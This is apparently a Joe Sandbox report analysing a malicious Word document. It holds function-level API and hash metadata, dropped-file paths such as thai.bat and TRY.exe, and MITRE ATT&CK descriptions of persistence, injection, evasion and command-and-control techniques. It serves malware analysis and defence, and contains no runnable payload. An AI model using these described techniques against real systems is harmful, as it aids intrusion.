Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: BeepDesktopDialogItemLoadMessageStringTextWindow
String ID:
API String ID: 1273765764-0
Opcode ID: da4bc00c7ae1d23eecce1492ef476764353cfb85bcf844c9ad0217d8cc464016
Instruction ID: 7a47d22f384e5a592d497d9cc9cbd347a10f0e69d3115a61a5bec97db4e3951c
Opcode Fuzzy Hash: da4bc00c7ae1d23eecce1492ef476764353cfb85bcf844c9ad0217d8cc464016
Instruction Fuzzy Hash: B21170B1E00B8481FA609B65F4583D9E350F788FB4F4402399AAA077DDCE3CC2478B40

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB639A0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 233windowCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 000000013FB639EB
MessageBeep.USER32 ref: 000000013FB63C5F

Part of subcall function 000000013FB676D8: GetVersionExA.KERNEL32 ref: 000000013FB6772D
Part of subcall function 000000013FB676D8: GetSystemMetrics.USER32 ref: 000000013FB67761
Part of subcall function 000000013FB676D8: RegOpenKeyExA.ADVAPI32 ref: 000000013FB67790
Part of subcall function 000000013FB676D8: RegQueryValueExA.ADVAPI32 ref: 000000013FB677C5
Part of subcall function 000000013FB676D8: RegCloseKey.ADVAPI32 ref: 000000013FB677D2
Part of subcall function 000000013FB676D8: CharNextA.USER32 ref: 000000013FB6781B

MessageBoxA.USER32 ref: 000000013FB63C93

Part of subcall function 000000013FB67614: EnumResourceLanguagesA.KERNEL32 ref: 000000013FB6766C
Part of subcall function 000000013FB67614: EnumResourceLanguagesA.KERNEL32 ref: 000000013FB676A4

Strings

tha, xrefs: 000000013FB63C84, 000000013FB63CBE

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: EnumLanguagesMessageResourceVersion$BeepCharCloseMetricsNextOpenQuerySystemValue
String ID: tha
API String ID: 2312377310-992520703
Opcode ID: c4e2bbb139771fec0025214002a9c0f5fba9f55d383aab18dc9d0e176869e49b
Instruction ID: 18513c58b01d2b326bec006faef9c7f8cc868746b5d68d2b7da46345dfe407d3
Opcode Fuzzy Hash: c4e2bbb139771fec0025214002a9c0f5fba9f55d383aab18dc9d0e176869e49b
Instruction Fuzzy Hash: D3A1ACF6E102418AFB608F25D4447EAE6A4F7487B4F1D103EE95A8379CD638CA46CB20

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB67110 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 000000013FB671BB
WriteFile.KERNEL32 ref: 000000013FB671EC
CloseHandle.KERNEL32 ref: 000000013FB6720B

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 000000013FB67142

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 1065093856-552775693
Opcode ID: 2ea8483bcfe6ef949360783779cb8a031befe5a113aea48590acfe97ae481b62
Instruction ID: 9ff877e4734264bc7eb17128548b3c3e33ba6db0aedbd8cf6fe9397eef70f84f
Opcode Fuzzy Hash: 2ea8483bcfe6ef949360783779cb8a031befe5a113aea48590acfe97ae481b62
Instruction Fuzzy Hash: B8318FB271468087EB619F10E8547DAF7A0F7897B8F540239EA9D47698CF7CC60ACB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB65814 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

#20.CABINET ref: 000000013FB6588D
#21.CABINET ref: 000000013FB658C6
#23.CABINET ref: 000000013FB658FA

Strings

*MEMCAB, xrefs: 000000013FB658A0

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID:
String ID: *MEMCAB
API String ID: 0-3211172518
Opcode ID: 6afdfd805b350688c3602c957db617d8632adc9201ddbe5db9da4816f6311d69
Instruction ID: d7270c8b72b84680a77ab85306004c5903f86e69a4bfad50e219bd88d8f06d33
Opcode Fuzzy Hash: 6afdfd805b350688c3602c957db617d8632adc9201ddbe5db9da4816f6311d69
Instruction Fuzzy Hash: 0C317FB1A14B4485FB508B11E8843D9B3A1B7047B4F90063ED96D423D8EF39C66ACB40

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB67C20 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 000000013FB67C93
RtlLookupFunctionEntry.KERNEL32 ref: 000000013FB67CB2
RtlVirtualUnwind.KERNEL32 ref: 000000013FB67CFF
__raise_securityfailure.LIBCMT ref: 000000013FB67DE4

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailure
String ID:
API String ID: 140117192-0
Opcode ID: 3705a83dead617d7ec271545f917a4e3987cacfa7ba11eb70581d06d55b83e20
Instruction ID: 078b6fc50b23c47f0f8fdc23c04a910eb45161e0aa85a7b84a087f1937d5e5a5
Opcode Fuzzy Hash: 3705a83dead617d7ec271545f917a4e3987cacfa7ba11eb70581d06d55b83e20
Instruction Fuzzy Hash: C541D7F5A05B4482EB509B58F890395F3A4F3897A9FA0413ADA8D83768DF3DC65AC740

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB67304 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32 ref: 000000013FB6732E
LoadResource.KERNEL32 ref: 000000013FB6733F
DialogBoxIndirectParamA.USER32 ref: 000000013FB6736F
FreeResource.KERNEL32 ref: 000000013FB6737B

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: Resource$DialogFindFreeIndirectLoadParam
String ID:
API String ID: 1214682469-0
Opcode ID: 8af9f5df09fb230a588841b58d700163d72a1dc5bf7f8989bca99a4abbe73bfe
Instruction ID: 1b325de28fb817f69bf8f646540bad45c85b1ca4d29d8509f3b7c56287ba40bc
Opcode Fuzzy Hash: 8af9f5df09fb230a588841b58d700163d72a1dc5bf7f8989bca99a4abbe73bfe
Instruction Fuzzy Hash: 95110DB5B05B4082EE209B12F40479AE6A1F759FF4F584639AE9907BD9DF3CD6428B00

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB67DF8 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 000000013FB67E03
RtlLookupFunctionEntry.KERNEL32 ref: 000000013FB67E22
RtlVirtualUnwind.KERNEL32 ref: 000000013FB67E6F
__raise_securityfailure.LIBCMT ref: 000000013FB67EE5

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailure
String ID:
API String ID: 140117192-0
Opcode ID: 04fa2115b3eb68aec4ea8641280f1283d8aa92b6bb6640a1a0ecb199eb4784e3
Instruction ID: e880d0a5b5f06eaae903bdea3d3e22fc663176c8c79b7a593a8c48e97452aae5
Opcode Fuzzy Hash: 04fa2115b3eb68aec4ea8641280f1283d8aa92b6bb6640a1a0ecb199eb4784e3
Instruction Fuzzy Hash: CC21A4F5A15B4486E7109F55F880389F3A4F389B69F60013ADA8D43768DF7DC65AC740

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB6745C Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

CharPrevA.USER32 ref: 000000013FB67480
CharPrevA.USER32 ref: 000000013FB67496
CharPrevA.USER32 ref: 000000013FB674B4
CharNextA.USER32 ref: 000000013FB674C2

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: Char$Prev$Next
String ID:
API String ID: 3260447230-0
Opcode ID: 8f04076bf7384626d75a864c6dfc3af67e08eec1412e220a3fe757313dad08a7
Instruction ID: 438169dae1cb4647ae2c825f63a07c781d9768cef03b810fb3c9791b5924866d
Opcode Fuzzy Hash: 8f04076bf7384626d75a864c6dfc3af67e08eec1412e220a3fe757313dad08a7
Instruction Fuzzy Hash: 7001DDF1E0568082FB514B21E9483A9EE91A349FF0F184274DB66077CDCE1CC9838701

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB63908 Relevance: 6.0, APIs: 4, Instructions: 39windowCOMMON

Download Yara Rule

APIs

MsgWaitForMultipleObjects.USER32 ref: 000000013FB6392C
PeekMessageA.USER32 ref: 000000013FB6394B
DispatchMessageA.USER32 ref: 000000013FB63968
PeekMessageA.USER32 ref: 000000013FB63983

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: Message$Peek$DispatchMultipleObjectsWait
String ID:
API String ID: 2776232527-0
Opcode ID: 3aee720f3c8c46dcd25b27dd5854f200cc9db310b4e25a0c757932c117ee5bc3
Instruction ID: 445b835fdf7ccb2a6ddfa9c248a479c414a67b15ee030fcf4c67c97a09eb74c6
Opcode Fuzzy Hash: 3aee720f3c8c46dcd25b27dd5854f200cc9db310b4e25a0c757932c117ee5bc3
Instruction Fuzzy Hash: 4F01B5B2B2864187F7B0CF34E884BAAE7A0F794764F445139D646429DCDB78C28ACF10

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Data loss prevention, File monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Services
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as Ping or `net view` using Net . Adversaries may also use local host files (ex: `C:\Windows\System32\Drivers\etc\hosts` or `/etc/hosts` ) in order to discover the hostname to IP address mappings of remote systems.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 12543_0008858249_FWDOUTSTANDING_20200604.doc

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{1B1DF0C8-9DAA-4EF5-BAF3-5F56FA2C5B3B}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{02CF5D71-875F-4179-8CDC-9768D4E5C0E6}.tmp

C:\Users\user\AppData\Local\Temp\IXP000.TMP\thai.bat

C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files.cab

C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\$dpx$.tmp\79bd875a22ddb24abfa2594fbd40eccf.tmp

C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe (copy)

C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\msiwrapper.ini

C:\Users\user\AppData\Local\Temp\~DF471414B699306DAC.TMP

C:\Users\user\AppData\Local\Temp\~DF79ACBA3F38B53A85.TMP

C:\Users\user\AppData\Local\Temp\~DFC2FF7A9553E7F48E.TMP

C:\Users\user\AppData\Local\Temp\~DFECA159C20646BB57.TMP

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\12543_0008858249_FWDOUTSTANDING_20200604.LNK

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2L3NA9KPRDQMPGEYZP5Y.temp

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Windows Analysis Report
12543_0008858249_FWDOUTSTANDING_20200604.doc

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre